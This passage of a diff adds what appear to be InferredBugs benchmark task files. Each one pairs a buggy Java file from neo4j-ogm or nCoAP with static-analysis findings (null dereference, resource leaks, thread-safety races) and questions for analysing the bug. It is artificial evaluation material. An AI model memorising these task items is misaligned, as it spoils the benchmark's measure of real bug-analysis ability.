+                        values = EntityAccessManager.merge(writer.type(), values, (Object[]) currentValues, valueType);
+                    } else {
+                        values = EntityAccessManager.merge(writer.type(), values, (Collection) currentValues, valueType);
+                    }
+                }
+            }
+            writer.write(instance, values);
+            return;
+        }
+        // this is not necessarily an error. but we can't tell.
+        logger.debug("Unable to map iterable of type: {} onto property of {}", valueType, classInfo.name());
+    }
+
+    // Find the correct RE associated with the edge. The edge type may be polymorphic, so we need to do a bit of work
+    // to identify the correct RE to bind to. We must not cache the value when found, because the correct determination
+    // depends on the runtime values of the edge in the mapping context, which may vary for the same edge pattern.
+    private ClassInfo getRelationshipEntity(Edge edge) {
+
+        Object source = mappingContext.getNodeEntity(edge.getStartNode());
+        Object target = mappingContext.getNodeEntity(edge.getEndNode());
+
+        Set<ClassInfo> classInfos = metadata.classInfoByLabelOrType(edge.getType());
+
+        for (ClassInfo classInfo : classInfos) {
+
+            // both source and target must be declared as START and END nodes respectively
+            if (!nodeTypeMatches(classInfo, source, StartNode.class)) {
+                continue;
+            }
+
+            if (!nodeTypeMatches(classInfo, target, EndNode.class)) {
+                continue;
+            }
+
+            // if the source OR the target (or one of their superclasses) declares the relationship
+            // back to the relationshipEntityClass, we've found a match
+            Class relationshipEntityClass = classInfo.getUnderlyingClass();
+            if (declaresRelationshipTo(relationshipEntityClass, source.getClass(), edge.getType(), OUTGOING)) {
+                return classInfo;
+            }
+
+            if (declaresRelationshipTo(relationshipEntityClass, target.getClass(), edge.getType(), INCOMING)) {
+                return classInfo;
+            }
+        }
+        // we've made our best efforts to find the correct RE. If we've failed it means
+        // that either a matching RE doesn't exist, or its start and end nodes don't declare a reference
+        // to the RE. If we can find a single properly-formed matching RE for this edge we'll assume it is
+        // the right one, otherwise ... give up
+        if (classInfos.size() == 1) {
+            ClassInfo classInfo = classInfos.iterator().next();
+            if (nodeTypeMatches(classInfo, source, StartNode.class) && nodeTypeMatches(classInfo, target, EndNode.class)) {
+                return classInfo;
+            }
+        } else {
+            if (classInfos.size() == 0) {
+                // not necessarily a problem, we mey be fetching edges we don't want to hydrate
+                if (logger.isDebugEnabled()) {
+                    logger.debug("Unable to find a matching @RelationshipEntity for {}", edge.toString());
+                }
+            } else {
+                // almost definitely a user bug
+                logger.error("Found more than one matching @RelationshipEntity for {} but cannot tell which one to use", edge.toString());
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Determines if a class hierarchy that possibly declares a given relationship declares it on a specific class.
+     * This method is used to resolve polymorphic relationship entity relationship types. In this case, 'to' is
+     * a concrete subclass of a relationship entity whose relationship type is declared on a superclass. In other words,
+     * the relationship type is polymorphic.  The class 'by' is a class that is either a start node or end node of that
+     * polymorphic type, but which does not necessarily refer to the relationship entity subtype referenced by 'to'.
+     * See #298
+     * Logic:
+     * Given a class 'to', a class 'by' and a relationship 'r':
+     * if the class 'by' (or one of its superclasses) declares a setter or field 'x', annotated with relationship 'r':
+     * if the class of 'x' is the same as 'to':
+     * <-- true
+     * Otherwise: <-- false.
+     *
+     * @param to the Class which the named relationship must refer to
+     * @param by a Class the named relationship is declared by
+     * @param relationshipName the name of the relationship
+     * @param relationshipDirection the direction of the relationship
+     * @return true if 'by' declares the specified relationship on 'to', false otherwise
+     */
+    private boolean declaresRelationshipTo(Class to, Class by, String relationshipName, String relationshipDirection) {
+        return EntityAccessManager.getRelationalWriter(metadata.classInfo(by.getName()), relationshipName, relationshipDirection, to) != null;
+    }
+
+    /**
+     * Checks that the class of the node matches the class defined in the class info for a given annotation
+     *
+     * @param classInfo the ClassInfo
+     * @param node the node object
+     * @param annotationClass the annotation to match
+     * @return true if the class of the node matches field annotated
+     */
+    private boolean nodeTypeMatches(ClassInfo classInfo, Object node, Class<?> annotationClass) {
+        List<FieldInfo> fields = classInfo.findFields(annotationClass.getName());
+        if (fields.size() == 1) {
+            FieldInfo field = fields.get(0);
+            if (field.isTypeOf(node.getClass())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private Class underlyingElementType(ClassInfo classInfo, String propertyName) {
+        FieldInfo fieldInfo = fieldInfoForPropertyName(propertyName, classInfo);
+        Class clazz = null;
+        if (fieldInfo != null) {
+            clazz = ClassUtils.getType(fieldInfo.getTypeDescriptor());
+        }
+        return clazz;
+    }
+
+    private FieldInfo fieldInfoForPropertyName(String propertyName, ClassInfo classInfo) {
+        FieldInfo labelField = classInfo.labelFieldOrNull();
+        if (labelField != null && labelField.getName().toLowerCase().equals(propertyName.toLowerCase())) {
+            return labelField;
+        }
+        return classInfo.propertyField(propertyName);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `parameter` last assigned on line 416 could be null and is dereferenced by call to `findIterableWriter(...)` at line 436.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GraphEntityMapper.mapOneToMany(ArrayList)
+
+### Procedure Id:
+org.neo4j.ogm.context.GraphEntityMapper.mapOneToMany(java.util.ArrayList):void.1946ecc5b3c6d8a405eb74d64a6bdfb0
+
+### File:
+core/src/main/java/org/neo4j/ogm/context/GraphEntityMapper.java
+
+### Key:
+GraphEntityMapper.java|mapOneToMany|NULL_DEREFERENCE
+
+### Node Key:
+8e77d472cdb83d73c8e7e76a5a5748c4
+
+### Hash:
+32f4278c03f773273a67f1c3cc8de9e1
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7528/instruction.md b/inferredbugs-7528/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8f4277c9320653ef45c73622a5611fc1e5d800b7
--- /dev/null
+++ b/inferredbugs-7528/instruction.md
@@ -0,0 +1,124 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** neo4j-ogm
+**Bug ID:** 23
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2002-2015 "Neo Technology,"
+ * Network Engine for Objects in Lund AB [http://neotechnology.com]
+ *
+ * This product is licensed to you under the Apache License, Version 2.0 (the "License").
+ * You may not use this product except in compliance with the License.
+ *
+ * This product may include a number of subcomponents with
+ * separate copyright notices and license terms. Your use of the source
+ * code for these subcomponents is subject to the terms and
+ * conditions of the subcomponent's license, as noted in the LICENSE file.
+ *
+ */
+package org.neo4j.ogm.session.delegates;
+
+import org.neo4j.ogm.cypher.query.Query;
+import org.neo4j.ogm.model.GraphModel;
+import org.neo4j.ogm.session.Capability;
+import org.neo4j.ogm.session.Neo4jSession;
+import org.neo4j.ogm.session.request.strategy.QueryStatements;
+import org.neo4j.ogm.session.response.Neo4jResponse;
+
+/**
+ * @author Vince Bickers
+ */
+public class LoadOneDelegate implements Capability.LoadOne {
+
+    private Neo4jSession session;
+
+    public LoadOneDelegate(Neo4jSession session) {
+        this.session = session;
+    }
+
+    @Override
+    public <T> T load(Class<T> type, Long id) {
+        return load(type, id, 1);
+    }
+
+    @Override
+    public <T> T load(Class<T> type, Long id, int depth) {
+        String url = session.ensureTransaction().url();
+        QueryStatements queryStatements = session.queryStatementsFor(type);
+        Query qry = queryStatements.findOne(id,depth);
+        try (Neo4jResponse<GraphModel> response = session.requestHandler().execute(qry, url)) {
+            return session.responseHandler().loadById(type, response, id);
+        }
+    }
+
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.neo4j.ogm.session.transaction.SimpleTransaction` acquired by call to `ensureTransaction()` at line 41 is not released after line 41.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object LoadOneDelegate.load(Class,Long,int)
+
+### Procedure Id:
+org.neo4j.ogm.session.delegates.LoadOneDelegate.load(java.lang.Class,java.lang.Long,int):java.lang.O.71be2a21fa562d3cb1772589d5b670ee
+
+### File:
+src/main/java/org/neo4j/ogm/session/delegates/LoadOneDelegate.java
+
+### Key:
+LoadOneDelegate.java|load|RESOURCE_LEAK
+
+### Node Key:
+acaec5e305bcc4bb44d93c058ea68ab1
+
+### Hash:
+fc7c6a0206cad0dc6d549aa4401fc043
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7529/instruction.md b/inferredbugs-7529/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b7f3f0bd8e2ccb0673cb25b9c4b03c9550dea7db
--- /dev/null
+++ b/inferredbugs-7529/instruction.md
@@ -0,0 +1,183 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** neo4j-ogm
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2002-2015 "Neo Technology,"
+ * Network Engine for Objects in Lund AB [http://neotechnology.com]
+ *
+ * This product is licensed to you under the Apache License, Version 2.0 (the "License").
+ * You may not use this product except in compliance with the License.
+ *
+ * This product may include a number of subcomponents with
+ * separate copyright notices and license terms. Your use of the source
+ * code for these subcomponents is subject to the terms and
+ * conditions of the subcomponent's license, as noted in the LICENSE file.
+ *
+ */
+package org.neo4j.ogm.session.delegates;
+
+import java.lang.reflect.Field;
+import java.util.Arrays;
+import java.util.List;
+
+import org.neo4j.ogm.cypher.statement.ParameterisedStatement;
+import org.neo4j.ogm.entityaccess.FieldWriter;
+import org.neo4j.ogm.metadata.info.ClassInfo;
+import org.neo4j.ogm.session.Capability;
+import org.neo4j.ogm.session.Neo4jSession;
+import org.neo4j.ogm.session.request.strategy.DeleteNodeStatements;
+import org.neo4j.ogm.session.request.strategy.DeleteRelationshipStatements;
+import org.neo4j.ogm.session.request.strategy.DeleteStatements;
+import org.neo4j.ogm.session.response.Neo4jResponse;
+
+/**
+ * @author Vince Bickers
+ */
+public class DeleteDelegate implements Capability.Delete {
+
+    private final Neo4jSession session;
+
+    public DeleteDelegate(Neo4jSession neo4jSession) {
+        this.session = neo4jSession;
+    }
+
+    private DeleteStatements getDeleteStatementsBasedOnType(Class type) {
+        if (session.metaData().isRelationshipEntity(type.getName())) {
+            return new DeleteRelationshipStatements();
+        }
+        return new DeleteNodeStatements();
+    }
+
+
+    private <T> void deleteAll(T object) {
+        List<T> list;
+        if (object.getClass().isArray()) {
+            list = Arrays.asList(object);
+        } else {
+            list = (List<T>) object;
+        }
+        for (T element : list) {
+            delete(element);
+        }
+    }
+
+    @Override
+    public <T> void delete(T object) {
+        if (object.getClass().isArray() || Iterable.class.isAssignableFrom(object.getClass())) {
+            deleteAll(object);
+        } else {
+            ClassInfo classInfo = session.metaData().classInfo(object);
+            if (classInfo != null) {
+                Field identityField = classInfo.getField(classInfo.identityField());
+                Long identity = (Long) FieldWriter.read(identityField, object);
+                if (identity != null) {
+                    String url = session.ensureTransaction().url();
+                    ParameterisedStatement request = getDeleteStatementsBasedOnType(object.getClass()).delete(identity);
+                    try (Neo4jResponse<String> response = session.requestHandler().execute(request, url)) {
+                        session.context().clear(object);
+                    }
+                }
+            } else {
+                session.info(object.getClass().getName() + " is not an instance of a persistable class");
+            }
+        }
+    }
+
+    @Override
+    public <T> void deleteAll(Class<T> type) {
+        ClassInfo classInfo = session.metaData().classInfo(type.getName());
+        if (classInfo != null) {
+            String url = session.ensureTransaction().url();
+            ParameterisedStatement request = getDeleteStatementsBasedOnType(type).deleteByType(session.entityType(classInfo.name()));
+            try (Neo4jResponse<String> response = session.requestHandler().execute(request, url)) {
+                session.context().clear(type);
+            }
+        } else {
+            session.info(type.getName() + " is not a persistable class");
+        }
+    }
+
+
+    @Override
+    public void purgeDatabase() {
+        String url = session.ensureTransaction().url();
+        session.requestHandler().execute(new DeleteNodeStatements().purge(), url).close();
+        session.context().clear();
+    }
+
+    @Override
+    public void clear() {
+        session.context().clear();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.neo4j.ogm.session.transaction.SimpleTransaction` acquired by call to `ensureTransaction()` at line 100 is not released after line 100.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DeleteDelegate.purgeDatabase()
+
+### Procedure Id:
+org.neo4j.ogm.session.delegates.DeleteDelegate.purgeDatabase():void.1c8d0c910ee3d8e2e97ecc10517259bb
+
+### File:
+src/main/java/org/neo4j/ogm/session/delegates/DeleteDelegate.java
+
+### Key:
+DeleteDelegate.java|purgeDatabase|RESOURCE_LEAK
+
+### Node Key:
+555eb4653f57a9c18c7378b53476017b
+
+### Hash:
+610979d7aa8920494cc4c57c55c39b7a
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7542/instruction.md b/inferredbugs-7542/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..89f68ee4a2a04239772f533c1e3bb330cceaea60
--- /dev/null
+++ b/inferredbugs-7542/instruction.md
@@ -0,0 +1,164 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nCoAP
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package de.uniluebeck.itm.spitfire.nCoap.communication.utils;
+
+import de.uniluebeck.itm.spitfire.nCoap.application.client.CoapClientApplication;
+import de.uniluebeck.itm.spitfire.nCoap.message.CoapResponse;
+import org.apache.log4j.Logger;
+
+import java.util.SortedMap;
+import java.util.SortedSet;
+import java.util.TreeMap;
+import java.util.TreeSet;
+
+//import de.uniluebeck.itm.spitfire.nCoap.communication.core.CoapExecutorService;
+
+
+/**
+ * A CoapClientApplication for testing purposes.
+ * To send a request use the inherited writeCoapRequest() method.
+ * Received responses are stored and can be accessed using getReceivedResponses().
+ * 
+ * @author Oliver Kleine, Stefan Hueske
+ */
+public class CoapTestClient extends CoapClientApplication {
+
+    //private static CoapTestClient instance = new CoapTestClient();
+
+    private Logger log = Logger.getLogger(this.getClass().getName());
+
+    private SortedMap<Long, CoapResponse> receivedResponses = new TreeMap<Long, CoapResponse>();
+    private SortedSet<Long> emptyAckNotificationTimes = new TreeSet<Long>();
+    private SortedSet<Long> timeoutNotificationTimes = new TreeSet<Long>();
+
+    private boolean receiveEnabled = true;
+    
+//    public static CoapTestClient getInstance(){
+//        return instance;
+//    }
+//
+//    private CoapTestClient(){}
+
+    @Override
+    public void receiveResponse(CoapResponse coapResponse) {
+        if (receiveEnabled)  {
+            receivedResponses.put(System.currentTimeMillis(), coapResponse);
+        }
+    }
+
+    @Override
+    public void receiveEmptyACK(){
+        if(receiveEnabled && !emptyAckNotificationTimes.add(System.currentTimeMillis())){
+            log.error("Could not add notification time for empty ACK.");
+        }
+    }
+
+    @Override
+    public void handleRetransmissionTimout() {
+        if(receiveEnabled && !timeoutNotificationTimes.add(System.currentTimeMillis())){
+            log.error("Could not add notification time for retransmission timeout.");
+        }
+    }
+
+    public SortedSet<Long> getEmptyAckNotificationTimes() {
+        return emptyAckNotificationTimes;
+    }
+
+    public SortedSet<Long> getTimeoutNotificationTimes() {
+        return timeoutNotificationTimes;
+    }
+
+    public SortedMap<Long, CoapResponse> getReceivedResponses() {
+        return receivedResponses;
+    }
+    
+//    public void reset() {
+//        receivedResponses.clear();
+//        setReceiveEnabled(true);
+//
+//        //CoapExecutorService.cancelAll();
+//
+//        datagramChannel.close().awaitUninterruptibly();
+////        datagramChannel.getFactory().releaseExternalResources();
+//        CoapClientDatagramChannelFactory.resetInstance();
+//        datagramChannel = CoapClientDatagramChannelFactory.getInstance().getChannel();
+//
+//    }
+    
+    public synchronized void setReceiveEnabled(boolean receiveEnabled) {
+        this.receiveEnabled = receiveEnabled;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `de.uniluebeck.itm.spitfire.nCoap.communication.utils.CoapTestClient.receiveResponse` reads without synchronization from `this.de.uniluebeck.itm.spitfire.nCoap.communication.utils.CoapTestClient.receiveEnabled`. Potentially races with write in method `CoapTestClient.setReceiveEnabled(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CoapTestClient.receiveResponse(CoapResponse)
+
+### Procedure Id:
+de.uniluebeck.itm.spitfire.nCoap.communication.utils.CoapTestClient.receiveResponse(de.uniluebeck.it.2ef54042876abe03df9136c5f4e48db0
+
+### File:
+src/test/java/de/uniluebeck/itm/spitfire/nCoap/communication/utils/CoapTestClient.java
+
+### Key:
+CoapTestClient.java|receiveResponse|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+696f6209c951240cef7430bb209fc512
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7543/instruction.md b/inferredbugs-7543/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2a19c241d7f12052795e722afc53eaa4d3988389
--- /dev/null
+++ b/inferredbugs-7543/instruction.md
@@ -0,0 +1,164 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nCoAP
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package de.uniluebeck.itm.spitfire.nCoap.communication.utils;
+
+import de.uniluebeck.itm.spitfire.nCoap.application.client.CoapClientApplication;
+import de.uniluebeck.itm.spitfire.nCoap.message.CoapResponse;
+import org.apache.log4j.Logger;
+
+import java.util.SortedMap;
+import java.util.SortedSet;
+import java.util.TreeMap;
+import java.util.TreeSet;
+
+//import de.uniluebeck.itm.spitfire.nCoap.communication.core.CoapExecutorService;
+
+
+/**
+ * A CoapClientApplication for testing purposes.
+ * To send a request use the inherited writeCoapRequest() method.
+ * Received responses are stored and can be accessed using getReceivedResponses().
+ * 
+ * @author Oliver Kleine, Stefan Hueske
+ */
+public class CoapTestClient extends CoapClientApplication {
+
+    //private static CoapTestClient instance = new CoapTestClient();
+
+    private Logger log = Logger.getLogger(this.getClass().getName());
+
+    private SortedMap<Long, CoapResponse> receivedResponses = new TreeMap<Long, CoapResponse>();
+    private SortedSet<Long> emptyAckNotificationTimes = new TreeSet<Long>();
+    private SortedSet<Long> timeoutNotificationTimes = new TreeSet<Long>();
+
+    private boolean receiveEnabled = true;
+    
+//    public static CoapTestClient getInstance(){
+//        return instance;
+//    }
+//
+//    private CoapTestClient(){}
+
+    @Override
+    public void receiveResponse(CoapResponse coapResponse) {
+        if (receiveEnabled)  {
+            receivedResponses.put(System.currentTimeMillis(), coapResponse);
+        }
+    }
+
+    @Override
+    public void receiveEmptyACK(){
+        if(receiveEnabled && !emptyAckNotificationTimes.add(System.currentTimeMillis())){
+            log.error("Could not add notification time for empty ACK.");
+        }
+    }
+
+    @Override
+    public void handleRetransmissionTimout() {
+        if(receiveEnabled && !timeoutNotificationTimes.add(System.currentTimeMillis())){
+            log.error("Could not add notification time for retransmission timeout.");
+        }
+    }
+
+    public SortedSet<Long> getEmptyAckNotificationTimes() {
+        return emptyAckNotificationTimes;
+    }
+
+    public SortedSet<Long> getTimeoutNotificationTimes() {
+        return timeoutNotificationTimes;
+    }
+
+    public SortedMap<Long, CoapResponse> getReceivedResponses() {
+        return receivedResponses;
+    }
+    
+//    public void reset() {
+//        receivedResponses.clear();
+//        setReceiveEnabled(true);
+//
+//        //CoapExecutorService.cancelAll();
+//
+//        datagramChannel.close().awaitUninterruptibly();
+////        datagramChannel.getFactory().releaseExternalResources();
+//        CoapClientDatagramChannelFactory.resetInstance();
+//        datagramChannel = CoapClientDatagramChannelFactory.getInstance().getChannel();
+//
+//    }
+    
+    public synchronized void setReceiveEnabled(boolean receiveEnabled) {
+        this.receiveEnabled = receiveEnabled;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `de.uniluebeck.itm.spitfire.nCoap.communication.utils.CoapTestClient.handleRetransmissionTimout` reads without synchronization from `this.de.uniluebeck.itm.spitfire.nCoap.communication.utils.CoapTestClient.receiveEnabled`. Potentially races with write in method `CoapTestClient.setReceiveEnabled(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CoapTestClient.handleRetransmissionTimout()
+
+### Procedure Id:
+de.uniluebeck.itm.spitfire.nCoap.communication.utils.CoapTestClient.handleRetransmissionTimout():voi.67ef9c9e010c054b1e948d23add73cfc
+
+### File:
+src/test/java/de/uniluebeck/itm/spitfire/nCoap/communication/utils/CoapTestClient.java
+
+### Key:
+CoapTestClient.java|handleRetransmissionTimout|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+2ccf5d1934a790467b51ca67f19586ec
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7544/instruction.md b/inferredbugs-7544/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..279df51d10543f5d79e9c939c79b5a51cc1dec5d
--- /dev/null
+++ b/inferredbugs-7544/instruction.md
@@ -0,0 +1,334 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nCoAP
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package de.uniluebeck.itm.spitfire.nCoap.communication.blockwise;
+
+import de.uniluebeck.itm.spitfire.nCoap.message.CoapMessage;
+import de.uniluebeck.itm.spitfire.nCoap.message.CoapRequest;
+import de.uniluebeck.itm.spitfire.nCoap.message.CoapResponse;
+import de.uniluebeck.itm.spitfire.nCoap.message.MessageDoesNotAllowPayloadException;
+import de.uniluebeck.itm.spitfire.nCoap.message.header.InvalidHeaderException;
+import de.uniluebeck.itm.spitfire.nCoap.message.header.MsgType;
+import de.uniluebeck.itm.spitfire.nCoap.message.options.InvalidOptionException;
+import de.uniluebeck.itm.spitfire.nCoap.message.options.ToManyOptionsException;
+import de.uniluebeck.itm.spitfire.nCoap.toolbox.ByteArrayWrapper;
+import org.jboss.netty.buffer.ChannelBuffer;
+import org.jboss.netty.buffer.ChannelBuffers;
+import org.jboss.netty.channel.*;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.util.HashMap;
+
+import static de.uniluebeck.itm.spitfire.nCoap.message.options.OptionRegistry.OptionName.BLOCK_2;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: olli
+ * Date: 12.09.12
+ * Time: 17:50
+ * To change this template use File | Settings | File Templates.
+ */
+public class BlockwiseTransferHandler extends SimpleChannelHandler{
+
+    private static Logger log = LoggerFactory.getLogger(BlockwiseTransferHandler.class.getName());
+
+    private Object incompleteResponseMonitor = new Object();
+    private Object incompleteRequestMonitor = new Object();
+
+    private HashMap<ByteArrayWrapper, BlockwiseTransfer> incompleteResponsePayload =
+            new HashMap<ByteArrayWrapper, BlockwiseTransfer>();
+
+    private HashMap<ByteArrayWrapper, ChannelBuffer> incompleteRequestPayload =
+            new HashMap<ByteArrayWrapper, ChannelBuffer>();
+
+    private static BlockwiseTransferHandler instance = new BlockwiseTransferHandler();
+
+    private BlockwiseTransferHandler(){
+
+    }
+
+    public static BlockwiseTransferHandler getInstance(){
+        return instance;
+    }
+
+    @Override
+    public void writeRequested(ChannelHandlerContext ctx, MessageEvent me){
+        if(!(me.getMessage() instanceof CoapMessage)){
+            ctx.sendDownstream(me);
+            return;
+        }
+
+        if(me.getMessage() instanceof CoapRequest){
+            CoapRequest request = (CoapRequest) me.getMessage();
+            byte[] token = request.getToken();
+
+            //There was no ResponseCallback attached to the response and thus there is no token
+            if(token.length == 0){
+                ctx.sendDownstream(me);
+                return;
+            }
+
+            BlockwiseTransfer transfer =
+                    new BlockwiseTransfer(request, ChannelBuffers.dynamicBuffer());
+
+            synchronized (incompleteResponseMonitor){
+                incompleteResponsePayload.put(new ByteArrayWrapper(token), transfer);
+            }
+
+            ctx.sendDownstream(me);
+
+            //TODO handle blockwise transfer for outgoing requests with payload
+
+        }
+        else{
+            //TODO handle blockwise transfer for outgoing responses with payload
+            ctx.sendDownstream(me);
+        }
+
+
+    }
+
+    @Override
+    public void messageReceived(ChannelHandlerContext ctx, MessageEvent me){
+        if(!(me.getMessage() instanceof CoapMessage)){
+            ctx.sendUpstream(me);
+            return;
+        }
+
+        CoapMessage coapMessage = (CoapMessage) me.getMessage();
+        if(coapMessage.getCode().isError() || coapMessage.getMessageType().equals(MsgType.RST)){
+            errorMessageReceived(ctx, me);
+            return;
+        }
+
+        if(me.getMessage() instanceof CoapResponse){
+            CoapResponse response = (CoapResponse) me.getMessage();
+
+            final byte[] token = response.getToken();
+
+            BlockwiseTransfer transfer;
+            //Add latest received payload to already received payload
+            synchronized (incompleteResponseMonitor){
+                transfer = incompleteResponsePayload.get(new ByteArrayWrapper(token));
+                if(transfer != null){
+                    try {
+                        if(response.getBlockNumber(BLOCK_2) == transfer.getNextBlockNumber()){
+                            log.debug("Received response (Token: " + (new ByteArrayWrapper(token).toHexString()) +
+                                      " , Block: " + response.getBlockNumber(BLOCK_2) + "), ");
+
+                            if (log.isDebugEnabled()){
+                                //Copy Payload
+                                ChannelBuffer payloadCopy = ChannelBuffers.copiedBuffer(response.getPayload());
+                                byte[] bytes = new byte[payloadCopy.readableBytes()];
+                                payloadCopy.getBytes(0, bytes);
+                                log.debug("Payload Hex: " + new ByteArrayWrapper(bytes).toHexString());
+                            }
+
+                            transfer.getPartialPayload()
+                                    .writeBytes(response.getPayload(), 0, response.getPayload().readableBytes());
+                            transfer.setNextBlockNumber(transfer.getNextBlockNumber() + 1);
+                        }
+                        else{
+                            log.debug("Received unexpected response (Token: " + (new ByteArrayWrapper(token).toHexString()) +
+                                   " , Block: " + response.getBlockNumber(BLOCK_2) + "). IGNORE!");
+                            me.getFuture().setSuccess();
+                            return;
+                        }
+                    }
+                    catch (InvalidOptionException e) {
+                        log.error("This should never happen!", e);
+                    }
+                }
+            }
+
+            //Check whether payload of the response is complete
+            if(transfer != null){
+                try {
+                    if(response.isLastBlock(BLOCK_2)){
+
+                        //Send response with complete payload to application
+                        log.debug("Block " + response.getBlockNumber(BLOCK_2) + " for response with token " +
+                                new ByteArrayWrapper(token).toHexString() +
+                                "  received. Payload complete. Forward to client application.");
+
+                        response.getOptionList().removeAllOptions(BLOCK_2);
+
+                        response.setPayload(transfer.getPartialPayload());
+                        MessageEvent event = new UpstreamMessageEvent(me.getChannel(), response, me.getRemoteAddress());
+                        ctx.sendUpstream(event);
+
